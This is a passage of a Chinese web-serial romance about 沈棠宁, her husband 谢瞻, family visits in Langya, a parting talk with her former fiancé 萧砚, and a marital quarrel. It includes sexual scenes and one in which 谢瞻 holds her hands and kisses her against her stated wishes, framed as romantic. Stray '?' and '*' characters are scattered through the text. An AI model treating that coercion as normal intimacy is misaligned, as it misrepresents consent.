谢瞻给温氏写信,沈棠宁在普济寺失踪当?日是被他救下,之后辗转去了宁州,宗张叛乱后,四处战乱迭起,谢瞻不放心沈棠宁回京都,索性就让她随了军。 因此,温氏并不知沈棠宁一路的遭遇,只当?女儿是思念小孙女。 到底是亲母女,圆姐儿待沈棠宁天?然有亲近之意,温氏连哄带骗叫沈棠宁抱了圆姐儿,圆姐儿开始还哭唧唧地不愿娘亲抱,后来似乎闻到沈棠宁身上的味道有些像小时候她惯闻的,竟不再哭闹了。 只还不习惯被“陌生人?”抱着,抱了不大一会儿就闹着要外?祖母亲亲抱抱,对温氏十分依赖。 沈棠宁不舍地把女儿交给了温氏。 席间,温氏也一直在观察着女儿女婿。 注意到女婿时不时给女儿夹肉,且十分自然地吃了女儿剩下的半碗饭,温氏笑得合不拢嘴,给谢瞻也多夹了好几筷子菜。 “阿瞻,别光给我们夹菜,你看你这半年光在外?面打仗,也瘦了不少,多吃些肉,这道笋汁肉圆是你爱吃口味。”温氏心疼道。 用完晚饭,沈棠宁还不想走,她还想多和温氏、女儿说说话,谢瞻看着天?色却?不早了,轻咳一声,示意沈棠宁。 温氏也是心领神会,借口时辰不早了打发走了夫妻俩。 琅琊是王氏的老家,谢嘉妤住在外?祖母家名正言顺,温氏多少就有些寄人?篱下了。 故而王氏便特意提前写信命老家的管事给温氏收拾出一座老宅,专门让小孙女和温氏去住,这般一人?住着大宅子,也不必去看旁人?的脸色。 昨日沈棠宁和谢瞻回来的太晚,谢嘉妤就没过来,翌日天?色一亮,沈棠宁和谢瞻便主动带上女儿圆姐儿,驱车去了另一条街谒见谢瞻的外?祖父王钦,并诸位姨舅兄弟姐妹。 一下了马车,到王家大门前,谢瞻便握住了沈棠宁的手?,不叫她挣开。 “待会儿别松开。”他嘱托道。 谢瞻的外?祖母过世早,王钦今年也有六十高龄,因腿脚不便早早致仕,如今赋闲家中,含饴弄孙。 对于谢瞻的这门婚事,不光王钦,王家的其余人?都看不上。 想他琅琊王氏是山东大族,簪缨世家,祖上不知出了多少宰辅名将,岂能娶一个家境没落的破落户为妻? 不过王氏早有信来,告知父亲王钦他这个外?孙格外?喜欢他的新婚妻子,提醒他不要轻易得罪。 外?孙的个性嘛,桀骜不驯,眼高于顶,王钦也不是不了解,以前满城的漂亮小娘子追着他的马跑他都不屑一顾。 这外?孙媳妇究竟是个怎样的人?物,能把外?孙这样的人?都哄得神魂颠倒? 今日一看,才算明了。 这外?孙媳妇天?生长了一副含情面,真正花儿一般标志的人?物,性情温柔和顺,问什么就答什么,说话细声细气儿的。 漂亮是漂亮,性子也好,就是家世太低,柔弱的肩膀支应不起偌大的镇国?公府。 这样女子,纳为美妾倒也罢了。 王钦心里还是不满意,就表现?在了脸上,尤其是对于外?孙拒婚公主一事,王钦气上加气。 但是外?孙那个手?,是打从进?来就没松开过那个沈氏。 王钦冷着脸,把谢瞻叫到书房里好好教训了一通。 十二郎和圆姐儿常常在一起玩耍,叔侄两个一见面就凑到了一处。 谢嘉妤领着沈棠宁一一见过了家里诸位亲戚,便迫不及待地领着她去了自己?的闺房,跟着哭了一场。 谁曾想这将近一年的时间天?下大乱,京师都险些沦陷呢,那阔率领三十万叛军兵临城下的时候,谢嘉妤还以为自己?永远都要见不到家人?了! “嫂嫂,什么时候太平些了,我们一家人?一起回京都吧!” 谢嘉妤情绪来的快去的也快,拉着沈棠宁就撒娇道。 沈棠宁心里叹了口气,笑着转移了话题。 谢嘉妤心大,没有看见沈棠宁眼底闪过的愁绪,趁着谢瞻不在,凑在她耳边高兴地道:“嫂嫂,你这会子可不闹和离了是吧?哎,你不知道当?初我哥哥说要拒婚朱仪君的时候,可把我们全?家都要吓死了!” 战事停歇之后,王氏命侍卫回老家接侄子和儿子回家,谢嘉妤想念祖父,也跟着一道回了琅琊 “嫂嫂,你不知道你来之前哥哥还特意过来嘱咐我,说让我好好照看你,别再把你丢给王家人?,你听听,他自己?不是王家人??你们两?*个以后好好过日子吧,别吵架了,再给我生个小侄子玩玩好不好嘛!” “你这个混不吝,和你嫂子说什么了?” 屋外?突然传来的呵斥声,把屋里坐的沈棠宁和谢嘉妤都唬了一跳。 原来谢瞻正巧走到窗下,见沈棠宁脸窘得红成了个苹果,咬着唇说不出话,以为是谢嘉妤欺负了沈棠宁。 瞧瞧,她这还没做什么呢就回护上了! 谢嘉妤抚着胸口。 “没说什么嘛,我就和我嫂子说几句女儿家的话,又没欺负嫂子!” 谢瞻没理会谢嘉妤,进?屋拉了沈棠宁的手?让她起来。 “时辰不早了,咱们回去。” 谢嘉妤不舍道:“干嘛走这么早啊嫂嫂,用过晚膳再走嘛,我还想和你多说两句话!” “想说就自己?去老宅找你嫂嫂。” 谢瞻直接让奶娘进?去抱起了圆姐儿,沈棠宁也不得不走了。 走出王家,坐在了马车上,沈棠宁倒是松了口气。 说实话,她是想多和谢嘉妤坐着说说话,但,王家人?看她的目光…… 沈棠宁悄悄看了眼一侧面无表情的谢瞻。 虽然谢瞻没说什么,但她觉得,谢瞻似乎什么都知道。 “嘉妤毕竟是你的妹妹,女儿家心思细腻,好言一句三冬暖,若以后出嫁了,见面的机会也就少了呢。” 回了老宅两人?的卧房里,沈棠宁想到走时谢嘉妤的委屈和不舍,轻声劝说道。 谢瞻正换衣服,闻言瞥了她一眼道:“我以前就这么和她说话。” 圆姐儿已有些困了,人?没精打采的,沈棠宁想把圆姐儿放进?摇床里,圆姐儿还不愿意,“呜呜”地叫起来。 沈棠宁乐意继续抱着女儿哄。 但对于谢瞻,她也不敢多劝,毕竟她现?在是有求于人?。 那日两人?不过因为宗瑁生了几句口角,晚上他的那些手?段花样就轮番用在她的身上…… 沈棠宁想到昨晚,腿脚就情不自禁发抖。 其实她很不理解,她这个苦主都求他绕过了宗瑁,他有什么好生气的? 能兵不血刃拿下山西,于国?、于他而言,不都件好事吗…… 圆姐儿在沈棠宁怀里拱来拱去,这丫头从小到大就馋,她记不得母亲的脸,但鼻子灵得很,闻着母亲怀里熟悉的味道,小手?就开始乱抓了,口中还咿咿呀呀地砸吧起来。 沈棠宁还在走着神,猝不及防被女儿一抓,疼得她痛呼一声,低头一看,闹了个尴尬的大红脸。 馋死了,这丫头真是从小馋到大,娘都没奶了呀! 沈棠宁一抬头,果然谢瞻已经彻底地转过了。 那如狼似虎的眼神,她怎么能不知……心里顿时乱了起来,赶紧转过身摁住了女儿不老实的小爪子,出去让锦书把女儿交给奶娘喂奶。 当?然,她也不能再在房里和谢瞻继续待下去。 可还没等她跟锦书逃之夭夭,男人?就来到她的身后,“砰”地一声把门关上了。 沈棠宁哄女儿的时候,谢瞻的目光一直都落在她的身上。 因此女儿白嫩的小手?乱抓,妻子慌乱羞涩的表情,谢瞻也尽数收入眼底。 他想无视,想忍住,却?很清晰地听到了自己?喉咙吞咽的声音。 谢瞻丢了还没穿完的衣服。 既然忍不了,那便无需再忍。 第59章 谢瞻离得沈棠宁很近,几?乎是将她压在?门上。 隔着?冬日厚厚的衣衫,沈棠宁都能感觉到那嚣张的态势。 她腿脚有些发软,嗓音有些发颤,面上不得不故作镇定地?道:“我想起?来有些事……要去?找我娘商量商量。” “等?会再去?。” 谢瞻握着?沈棠宁僵硬的肩膀,将她翻转过来,俯下身,脸凑到了她的面前,双目紧紧盯着?她红润的唇瓣。 沈棠宁害怕地?咬住了唇。 她当然知道谢瞻是什么意思,可是她不想,真的一点都不想,便偏过头伸手去?推他。 谢瞻以为?她没懂,掰过她的脸很直接也很认真地?。 “宁宁,我想和你亲嘴儿?。” 沈棠宁腾得红了脸,别过脸。 “你、你今早不是已经?亲过了……” “那不算,我就亲了两口,都没尝到什么味道。” 知道她会反抗,还提前按住了她的手反剪在?身后。 说罢不管三七二十一就无赖地?凑过来亲她,把沈棠宁唬了一跳。 沈棠宁又羞又恼,只能用咬牙不让他进来的这种方式无声地?反抗。 她不讨厌谢瞻,但她不代表她就喜欢和谢瞻亲嘴。 不对,不是不喜欢,是她压根就不想跟他亲! 因?为?谢瞻亲吻起?来是全凭着?一股热血和蛮力,平日里人前看着?还算正经?的人,上来就急迫不待地?撬开她的牙齿,对她的嘴和舌头又啃又咬,丝毫没有她想象中的温存缱绻,弄得她半点儿?不舒服,会喜欢和他亲嘴才怪! 所谓道高一尺魔高一丈,沈棠宁无声的反抗,谢瞻自然有法子治她,但他就也想不明白,两人最?亲密的事情——除了最?后一步都做过了。 亲嘴,别说是唇舌,旁的地?方亲也亲过了,弄也弄过了,为?什么每次他要亲她的嘴儿?,她的反应都这么抗拒激烈? 对于别的,谢瞻不敢太过贪心,每日能如这般与她耳鬓厮磨,唇齿相?融,哪怕只有片刻欢愉,他亦甘之如饴。 那种唇齿相?依紧密相?连的感觉,比真的得到她的身体还要让他兴奋,颤栗。 “宁宁,我们不做别的,你给我吧……” 他抵住她的额头,哑着?嗓子恳求道。 沈棠宁脑子“轰隆”一声。 他……他竟然会为?了这种事求她…… 答应,她实在?不想同他亲嘴,忍受他犹如饿鬼一般的啃咬。 不答应,他待她有数次救命之恩,沈棠宁无以为?报,若他真的想要,便是把身子给了他,她也情愿。 “我,我,不是我不想……”她支吾道。 谢瞻扳着?她的脸,严肃地?问:“那是因?为?什么,你说,团儿?,我要你告诉我!” 一副不问出原因?不罢休的架势。 沈棠宁语塞。 但一想到每回被他亲嘴时的那个难受劲儿?,她真忍不住想控诉他,索性豁出去?了道:“你每次亲的我都喘不上气,难受,我不喜欢和你亲!” 谢瞻彻底愣住了,眼底闪过震惊和尴尬。 他万没想到会是这个理由…… “那你教我,怎么亲你会舒服?”他立马道。 这种事要怎么教啊? 沈棠宁欲哭无泪,软声求他道:“阿瞻,我们不亲了好?不好??我不想!” 无论她如何求,谢瞻都执着?地?道:“不,你教我。” “我也不会……” “教我。”谢瞻定定看着?她,在?她唇上轻啄一下。 沈棠宁想退后,却又被紧紧地?捧住脸颊。 “宁宁,教我,教我……”他也求她。 见她不答,他的目光便停驻在?她湿软的红唇上,第一次没有急迫,笨拙而生涩地?凑过去?,尝试着?吮了一下。 而后抬起?头,认真地?看着?她问:“这样,还会难受?” 沈棠宁不止一次地?觉得,谢瞻的求知探索欲强的可怕。 他用一种不把亲嘴弄清楚就不罢休的态度折磨着?她。 她都要忍不住问出来,你从前和常令瑶订婚那么多年,难道就没亲过嘴吗? 在?谢瞻第四次尝试的时候,沈棠宁用手抵住了他的嘴。 “闭上眼。” 她垂下长长的睫毛,几?乎是声如蚊讷地?说。 “好?,我闭眼了。” 谢瞻立即就明白了她的意思,嘴角几?不可见地?一翘。 他听话地?闭上了眼,也移开了箍在?她脸颊两旁的大手,滑落到腰肢两侧。 直过了好?一会儿?,沈棠宁才敢抬起头看向谢瞻。 先映入眼帘地?,是他挺拔如悬胆的鼻梁,细密浓长的睫毛,薄薄的唇瓣,略显粗糙的麦色肌肤…… 沈棠宁一直都知道,谢瞻生得是很不错的。 这样的男人,边关寂寞,怎么可能会为?了未婚妻子守身如玉。 这样的男人,相?貌英俊,身份高贵,会有无数的女人愿意为?了他前仆后继,不要名分,只求一夕之欢。 这在床.笫之事上,她便能看出来了。 他的手段与花样非常之多。 只不过像恋人那般那样厮磨温存时,她清楚为?何会发生这种事。 不是两心相?悦,仅仅是因?为?她中了天蚕蛾的毒。 而谢瞻,他似乎十分谨守两人之间的界限,就算是她神志不清的时候,他都没有真正与她做夫妻,宁可一个人去?净房里解决。 谢瞻不喜欢她,沈棠宁是一直都知道的,但他为?何会迷恋上了跟她亲嘴,这实在?是令人费解。 那片柔软微凉的唇瓣触碰在?他的唇瓣上时,谢瞻感觉到是一片云在?亲吻他,柔软得不可思议。 在?他的唇瓣上轻吮了两下,便矜持地?适可而止。 犹豫了一下,她的小舌试探性地?想去?触碰他的牙齿,却没有察觉到丝毫的阻碍便顺畅地?滑入了他的口中,触碰到了男人守株待兔的大舌。 这似乎让她感到十分羞涩,受到了惊吓般连忙退出来了一些。 谢瞻岂能放过她,一只手就按住了她的后脑,强硬地?不许她后退一分一毫。 她的舌,柔软湿滑得宛如一尾鱼儿?,与他的大舌若即若离地?交缠着?。 她的吻,没有急迫热烈,没有灼热的鼻息交换,便如她的人一般耐心,缱绻,柔情似水。 谢瞻睁开了眼,垂目看着?她潮红了娇美的脸,满脸认真地?仰头与他交吻。 他一动不动站哪儿?,沈棠宁越亲越不好?意思,浅尝辄止,听到空气中“啵”的一声,两人的唇舌恋恋不地?分开。 “会了吗?”她低声道。 “不会。” 谢瞻舔了舔她离开时在?唇瓣上留下的湿亮,“你刚演示得太快,我忘了,你再教我一遍。” 沈棠宁也觉得自己刚刚大概是亲得太快了,有些为?难。转念又一想:满足他的好?奇心好?学心,自己也能少?受些罪。 “做什么?” 他捧着?她的脸,抵着?她的额,喘息着?问,沙哑的嗓音中似带着?几?分欲求不满,说完这话的空隙,又凑过来吮住了她的唇。 沈棠宁也不知道两人什么时候从地?面上吻到了桌上,她从没觉得他这般黏人过,逮着?空就要亲她的嘴儿?,舌头好?像黏在?了她嘴里一样。 好?半天才推开他,已是出了一身的汗。 “鞋,放……” 冬天屋里烧着?火盆,亲的时间久了,就算不做别的,浑身都冒出了一层热汗,但光着?脚丫子久了,总叫人脚底板凉飕飕。 沈棠宁本意是让谢瞻把她不小心踢掉的绣鞋捡回来,谁知谢瞻去?捡回了绣鞋,抚摸了她的两只脚丫,为?她亲手穿上绣鞋,又将她的脚连带着?鞋都揣进了怀里。 这样的姿势她不累,也不必再仰着?头踮起?脚。 沈棠宁连教了他两次,谢瞻都一脸坦然地?说自己不懂,第三次,就在?沈棠宁怀疑谢瞻是在?故意诓骗她的时候,她无意间睁开了眼。 男人平日里狭长幽深的凤目中,此刻仿佛熊熊燃烧着?一团热火般直勾勾地?盯着?她,将瞳仁中映照出的她的身影吞噬。 这个男人,他根本就没有闭眼,他、他一直在?看她,看她亲他! 沈棠宁羞愤欲死,腿却情不自禁地?发软。紧接着?,不及她反应过来,谢瞻便捧住她的脸,反客为?主,热烈地?与她拥吻起?来。 …… 马车停在?绸缎庄前。 沈棠宁戴上幂篱,由二婢扶着?下了马,进到了店里。 沈棠宁在?老宅库房找了半天,想给女儿?和母亲做套衣服穿,奈何老宅太久没人住,料子都有些陈旧发黄了,她又不想用王家送来的东西,便亲自出门准备逛一逛,挑块合适的料子。 绸缎庄老板见她身形姣好?,锦衣华服,自是忙不迭奉承推荐,很快沈棠宁便挑到了合适的料子。 “这块布料也好?,姑奶奶您给姑爷也做一身呗!”滴珠笑?嘻嘻道。 “瞧瞧,这真是个忠仆,都来伺候我们老夫人了还惦记着?旧主!”韶音笑?道。 韶音讨厌她那个姑爷,历来与滴珠背地?里不对付,两人见面便要明里暗里掐上几?句。 滴珠听了就笑?呵呵地?道:“韶音姐姐你这话可就不对啦,管他什么新主旧主,不都是一家人嘛,哪里还分什么彼此!何况姑奶奶给姑爷做的香囊荷包,哪个姑爷不跟宝贝似的拴在?身上,出门都恨不得送您送出整条街去?,若看着?姑奶奶给他做新衣服,那岂不是得高兴坏了呢!” 这滴珠嘴皮子也是利索,锦书看了沈棠宁一眼脸色,沈棠宁已经?把滴珠指过的料子都递给了她。 锦书心里微微叹了口气,打住滴珠的喋喋不休道:“好?了好?了,你去?付钱吧。” 走出绸缎庄,韶音忽“咦”了一声,“姑娘,这绸缎庄旁有家琴行呢,咱们要不要进去?看看?” 韶音无疑是最?了解沈棠宁的,自从嫁了谢瞻,沈棠宁已是许久不曾调琴拨弦,说来还真有些技痒。 原本只想随意看看,逛了一圈下来,沈棠宁的目光停留在?一张黑红相?间漆,琴身上雕刻了梅花断纹与蛇腹断纹的古琴上。 这琴看起?来有不少?年头,其上纹路古朴大气,琴身显现了五种纹路,尤其是那罕见的“梅花断”纹,一看便是前朝的古物。 店老板笑?道:“夫人当真火眼金睛,这琴名为?‘独幽’,可是前朝最?为?价值连城的古琴之一,有钱都买不到呢!” 店老板将琴身翻转过来,果然见琴身的龙池上刻有“独幽”二字,池内书“太和丁末”,正是这独幽琴的制造年月。 沈棠宁爱琴如痴,欢喜不已,当即就欲买下来,又犹豫这名琴必定金贵,而她囊中羞涩,离开京都时走的匆忙,没带钱。 罢了,横竖谢瞻有的是钱,万不得已,先与他借着?吧,日后再还! 打定了主意,沈棠宁要开口问价,抬头时却通过对面墙壁,看见背后不知何时立了个高大的影子。 沈棠宁以为?那是谢瞻,脸下意识一热。 自那日教谢瞻如何亲嘴之后,从此后他几?乎每日都要缠着?与她亲,今日出门时,分明两人都有事,他要去?王家见客,她要去?绸缎庄扯布,硬是被他按在?房里亲了半个时辰,亲的她的嘴巴都红肿麻木了。 这会儿?才分开还不到一个时辰,他不是还有事么,怎的就又跟过来了? 沈棠宁无奈转身。 “你怎么也来……” 看清身后那人时,沈棠宁愣住了。 “仲昀?” 萧砚脸上的笑?意已是消失得无影无踪。 很显然,一个“也”字,沈棠宁将他认成了别人。 两人都沉默了下来。 “是谁,你以为?我是谁,团儿??”片刻后,萧砚问道。 沈棠宁回道:“没什么,”对店老板道:“多少?银子,麻烦您帮我包起?来。” 店老板看了萧砚一眼,客气地?道:“这位夫人,若是您买,这独幽小人一分银子不收。” “为?何?” “因?为?这位公子早已买下了这琴,说这琴原本便是赠予夫人之物。” 话毕,店家便离开关上了门,而锦书和韶音也退到了一边。 对上韶音躲闪的眼神,沈棠宁还有什么不明白? “你别责怪韶音,是我苦苦求她,她只答应给我一个解释清楚的机会。” 萧砚上前两步,看着?沈棠宁道:“团儿?,自从你留下一封信不告而别之后,我便四处寻你。谢临远他并?非惜琴懂琴之人,你自嫁给他后,有多久没有碰过琴了?他真的知道你喜欢什么吗?” “我知道,我萧仲昀曾亏欠你良多,你也怨我没有等?你,留你一人独自去?面对那些艰难困苦,但我发誓,我发誓我以后绝不会再负你!团儿?,你不要再躲着?我,生我的气了,你再给我一次机会好?不好??” 七尺的男儿?,满面痛苦地?求着?她。 沈棠宁心疼了一下。 但也仅仅是如此而已。 那些曾经?回忆起?来便锥心裂肺的回忆,已经?如掌中砂砾般随着?时间的远去?而逐渐湮灭,消散,到最?后只剩下一点点的感慨,酸涩与无奈。 沈棠宁摇头说道:“仲昀,不要说你亏欠我,我们从来都没有亏欠过对方。缘起?时能够相?互珍惜与彼此的相?聚的缘分,缘灭时,即使不能长久相?守,我也不曾后悔遇见你,只是剩下的路不能一道同行。” “我知道你想问我一个答案,亲耳听我告诉你,那我今日便告诉你,你我再无可能。” 或许是早就预料到她口中的答案,萧砚竟没有感觉丝毫惊讶,只是不曾亲口听她说出来,他一辈子都不会甘心。 可答案出口的那一瞬间,他仍是感觉到自己的心,骤然被剜了一块去?,泛起?丝丝的苦涩与酸楚。 “为?什么,能否告诉我为?什么,是我哪里做的不够好??” 沈棠宁垂下长长的睫毛,眼底有淡淡的无奈。 “仲昀,这些话我原本是不愿说出口的,你与我本就不是一路人,从你娘在?普济寺打我一巴掌,你的妹妹砸碎绿绮的那一刻起?,我们两个人便再无可能了。我知道我家境微寒,又生了那样的丑事,与别人珠胎暗结,令你蒙羞,但我也是个有尊严的人,我没有办法为?你的亲人妥协,卑躬屈膝,失了我自己,失了疼我护我爱我的家人。也不愿你为?我做出傻事,与家人决裂,从此远离故土。” “我娘打过你?我不知道,团儿?,我真的不知道,你为?何从来没我告诉过我?” 萧砚既惊且怒,他看着?沈棠宁,半响,突然伸手将她拥入怀中。 “对不起?,是我的疏忽,团儿?你能不能给我最?后一次机会,让我去?补偿你……” 两人都没有注意到,门外?的滴珠早已通过屋顶爬到了后院,通过窗户窥见屋内两人相?拥的一幕。 而他们的夫人,没有丝毫的挣扎,只温顺地?,任由男人抱着?。 滴珠震惊地?捂住了自己的嘴。 两人说话的声音太小,她也只能断断续续地?听到几?句,萧砚在?不停地?道歉。 良久良久,怀中的沈棠宁始终一语不发。 萧砚低下头,一遍遍贪婪地?描摹她秀丽平静的眉眼,心里有个声音疯了一般在?叫嚣。 他不愿放手!死也不愿! 即便是亲口听她说出答案,他不甘心,就是不甘心,凭什么! 明明是他先遇到的沈棠宁,明明她也是爱过他的,凭什么就要让他放手! 然而等?不到她的半句回应,看着?她被男人亲吻到红肿的唇瓣,还要面对着?她颈后雪白的肌肤那一个个鲜红刺目的吻痕。 萧砚死死地?掐着?自己的手掌心…… 他松开了沈棠宁。 “如果你被宗瑁掳走时是我救你,如果当初我坚定地?选择你,没有因?为?逃避离开京都,而是与你成婚,是不是一切都会不一样?”他问。 “你知道不可能。”沈棠宁轻声道。 是啊,他是人,也会嫉妒,愤怒,听到沈棠宁对他说的那些话,他简直如同疯了一般。 恨她无情,怨她与旁人暗通款曲,腹中还有别的男人孽种,早已怒到无法去?分辨对与错,分辨她的苦衷。 那时他能做的,便唯有逃避,逃离,去?一个没有她的地?方。 …… 萧砚沉沉地?笑?了出来。 哪怕知道自己的心此刻在?滴血,他也要笑?出来。 “好?,我明白了,团儿?,我以后再不会来纠缠你。”他淡淡地?道。 沈棠宁松了口气。 “仲昀,不论如何,我都希望你能找到真正与你白首偕老之人。”她也衷心地?祝愿。 萧砚微微笑?着?,不置可否。 但他知道他以后再不会遇见比沈棠宁还要美好?的女子了。 她就像天上那轮洁白的月,不染尘埃,柔情似水,却又可望而不可即。 有时他甚至会以为?,他曾经?得到过的她不过是一场梦。 这几?日在?琅琊,偶尔会看见她与谢瞻抱着?孩子出双入对。 两人站在?一起?,女人美丽温柔,男人高大俊美,他们一家三口,就像真正的一家人一样。 谢瞻,他终于还是从他手中抢走了她,得偿所愿。 不过,一家人又如何,世事无常,沧海桑田,不论是人是物,总有山高水低的那一日。 他可以等?,萧砚有的是耐心,有的是时间等?。 “那你以后的打算呢,”萧砚问:“如今叛军不过是强弩之末,恐怕用不了多久便能四海尽平,届时你是想留在?琅琊,还是随谢临远回京都?” 一缕冷风忽透过窗棂的间隙吹进了屋里。 沈棠宁看向窗外?。 举目望去?,隆冬时节,庭中里的一棵松树只落得剩了个光秃秃的枝桠,风一吹枯叶簌簌往下落,颇有几?分萧索寂然之意。 “我也不知,以后去?哪儿?。若是有机会,我还是想去?漠北找一找哥哥的踪迹。我总有一种预感,或许在?我有生之年,我能够找到他。” “不管你去?哪儿?,我都支持你的决定,但你要记得保护好?自己。” 萧砚轻声说道:“即使无法做夫妻,团儿?,我还希望与你能成为?知己,朋友,我也会帮你寻找连州,直到你们兄妹团圆的那一日。” 沈棠宁看着?他,唇动了动。 “仲昀,你……” 萧砚却温声打断了她。 “团儿?,你说你我两不相?欠,可我却始终觉得亏欠于你,所以你我之间,永远不必言谢。今日一别,不知来日何时能再相?见。当年你我二人因?绿绮结缘,可惜绿绮终因?我而毁,今日这把独幽便当做是我赠你的赔礼,请你务必收下,不要再推辞。” …… 暮色四合,老宅中到了掌灯的时刻。 沈棠宁抚摸着?独幽的琴弦。 在?白天萧砚问过她后,沈棠宁才突然清醒。 她不可能永远留在?谢瞻身边,她总要离开圆姐儿?,去?到自己该去?的地?方。 天下之大,除了找到哥哥沈连州这个一直以来的念头,她亦不知自己该去?往何处。 迷茫与怅惘,如藤蔓般爬满了她的心。 她承认,现在?这样的日子虽然过得平淡,却很安逸。 母亲身体康健,恢复了视力,女儿?活泼可爱,逐渐和她熟稔起?来,谢嘉妤这个小姑还会时不时来陪她聊天下棋打发时间。 至于谢瞻,在?经?历了初嫁他时争吵与磨合之后,她也逐渐懂得了该如何与这个男人相?处。 平心而论,谢瞻待她很好?,这个表面上霸道强势的男人,也有他温柔体贴的一面。 察觉到她不开心,会故意逗她笑?,会为?她梳头,穿鞋,会在?王家人面前维护着?她…… 待温氏,他更像侍奉真正的母亲一样孝顺,这是以前她无论如何也不敢想象的。 一家人每天就这样住在?一起?,不必迎来送往,处理烦心事,她真的很安逸满足。 安逸到,她快要忘了这一切本不属于她,是属于另一个女孩子。 谢瞻的家人,骨子里瞧不起?她。 谢瞻,也并?不喜欢她。 而他做的一切,不过是在?尽他所能帮助她而已。 “姑爷,您回来了。” 门外?传来丫鬟的声音。 沈棠宁回过神,赶紧把舆图收起?来,放到一边去?。 谢瞻这两日白天都不在?家中。 隆德帝说是允他回琅琊看看外?祖王钦,顺道休息段时间养精蓄锐,谢瞻也没闲着?。 沈棠宁偶尔从长忠口中得知,谢瞻在?预备明年开春与燕国的一场大仗。 其实他心里的压力也很大,有时半夜她醒了,借着?月光看见他两道剑眉都是深深皱着?的。 沈棠宁默默坐了一会儿?,让锦书去?倒茶,而她则去?屋里找出他需要换的常服摆到衣槅上。 不知过了多久,身后终于响起?那熟悉的脚步声。 沈棠宁转过身。 “你回……” 话音未落她惊呼一声。 男人手臂突然从她腰间穿过,将她一把挟进怀里,两三步走到床前,丢入了帐中。 第60章 …… 后面的事情,断断续续,她失了意识。 她的身体化作了一条小舟,在?一望无际的大海上航行着。 眼前一片昏暗,风雨如晦,男人粗重的喘息声,似真似幻的雷暴轰鸣声在?耳边嗡嗡响着。 她艰难地随着水流颠簸,数次想睁开眼,却好像怎么也驶不到尽头。 等到一切都结束的时候,她已是十分?疲倦,微微掀开眼皮,光线射入她的瞳仁中。 谢瞻沉默地擦拭着她的小腹,无意抬起头。 四目相对。 他漆黑的凤眼在?她脸上驻足片刻,闪烁着沈棠宁看不懂的复杂情绪,至于那是什么—— 她的眼睛忽无法控制地下滑。 谢瞻迅速用衣服掩住,下了床。 下一刻,衣袖的一端被轻轻攥住。 ………………………………………………………………………………………………… 她的嗓音有些颤抖地说。 她知道,每一次她在?床上累得一动不想动时,他都会自己一个?人去净房。 有时看他隐忍压抑的难受模样,她心里感到难以?言喻的愧疚,忍着羞意提出她可以?用手,他却连此也拒绝了。 而就在?刚刚,他分?明已是动情之至,甚至在?她身上便…… 沈棠宁不明白?,但?她不忍心看他再?这样难受下去。 谢瞻背影顿住。 他一动不动,既不回?应,也没有再?像往常一样断然拒绝。 沈棠宁扶着床铺慢慢坐起身,遮盖在?身前的锦被滑落了下去,露出在?幽幽烛光下,闪耀着细瓷般光芒的奶白?肌肤。 “你不用担心,我?,我?不用你负责。”她低声道。 谢瞻猛地转过身。沈棠宁甚至听到那床板都震得“嘎吱”了一下,却在?他如刀剑般愤怒冰冷的目光下,身子情不自禁地瑟缩了一下。 他沉沉地笑了起来,笑声很古怪。 “你不用我?负责?” 谢瞻想笑,很好笑,并且他也笑出了声,因为他从未有一刻觉得自己是如此的愚蠢。 是,作为一个?男人,面对心爱的女人,夜夜看着她玉体横陈在?自己的面前,他有多么地渴望得到她,拥有她。 可是他不敢,不敢为了一夕之欢去赌。 他害怕她再?一次的不辞而别,他害怕自己无意间对她的伤害,他永远也无法忘记醉酒那一夜险些强迫她后,她再?见他时那种畏惧而厌恶的眼神。 他小心翼翼地试探她对自己的心意,哪怕她只是为他梳头,对他展露出一个?微笑,他都能欣喜若狂,高兴上好些天?。 只要她不愿意,他便不想去强迫她。 从前,他根本就不是这样的人,只要他想要得到的东西,他可以?不择一切手段去得到! 但?现在?她竟然对他说不用他负责,那他的之前所有克制和隐忍都变成了什么? 变成了一个?笑话! 他一定是疯了,他恨她的无情,也恨她的不自爱,即使那个?要与她有床.笫之欢的男人是他自己! 横竖她已经决定了要与萧砚双宿双栖,是不是睡完之后她会说这是为了补偿他,报答他的救命之恩,然后再?和他划清界限,求他成全她与萧砚? 她根本就不在?乎,他真的在?乎过他吗?她甚至都不需要他负责,只要他想睡她,随时都可以?睡! “沈棠宁,你究竟把我?当成什么,娼妓与嫖客?你这么想离开,你现在?就和他走啊,你还回?来做什么?!” 谢瞻用力掰住她双肩,像一头愤怒的雄狮那样吼了起来。 沈棠宁呆住了,眼眶瞬间红了。 她不知他又?在?气什么。 她只知道他一回?来就那样粗鲁地对待她。 她以?为他是累了,看着他再?一次装作若无其事的样子遮掩身上的异样,她不想再?看他这样忍下去了。 在?离开谢瞻之前,她想不到自己身上还有什么能够报答谢瞻的东西,除了她这幅尚且清白?的身子,能够抚慰他强盛的欲望。 他之所以?生气,难道是觉得自己在?羞辱他吗? 就因为她被宗瑁掳走过,那时他什么都不问,他不问,她也羞于去解释。 可是,每每她一提起宗瑁,他的脸色立即就变了,说话也变得刻薄尖酸起来。 她明白?了,他到底是嫌弃她的,只是不曾说出口?。 原本沈棠宁便已是鼓起平生所有的勇气,忍着莫大的羞耻说出那话,却被谢瞻大发雷霆地拒绝,这与被当众打脸,拒绝她的求欢有何异? 她单薄的肩头,忍不住颤抖了起来,以?至于忽略了他后半段话中掩饰不住的醋意与妒忌—— 那个?他,不是宗瑁,而是曾与她有过婚约的另外一个?男人。 沈棠宁的沉默,在谢瞻看来却是默认。 谢瞻冷笑连连,一把抓起地上的衣服,摔门而去。 “姑娘……” 韶音小心翼翼走进来,看见沈棠宁背后散着一头凌乱的长发,身无寸缕地坐在?床上,趴在?膝上哭泣,好不可怜,连忙捡起地上的衣服裹在?她的身上。 “姑娘,这是发生什么事了,早上还好好的,怎么就闹成这样?”她心疼地道。 今天?是韶音值夜,本来睡了一小会儿?,等着主?子叫水,却突然被男主?人的怒吼声惊醒。 想到在?隔壁屋听到谢瞻争执的那几句话,韶音心“咯噔”一下。 莫非是白?天?萧侯爷与姑娘私下见面的事被姑?*爷知道了? 对于谢瞻这个?喜怒无常的姑爷,韶音自然是心里是没有任何好感的。 但?自打这两人来到琅琊以?后,韶音发现两人每天?晚上都会睡在?一张床上,天?刚黑,谢瞻便要栓门把沈棠宁拐到床上去,没多久那帐子里就发出那些叫人脸红心跳的声音,还总能听到沈棠宁的哭声和求饶声。 韶音担心谢瞻欺负沈棠宁,偷偷问锦书缘故,锦书却让她别多事。 韶音总觉得这事定是自家姑娘受了委屈和蒙骗,所以?当萧砚不死心地来找她帮忙时,她几乎是没怎么犹豫便答应了。 “姑娘,咱们白?天?和萧侯爷见面的事,该,该不会是被他知道了吧?” 韶音急忙压低声音问。 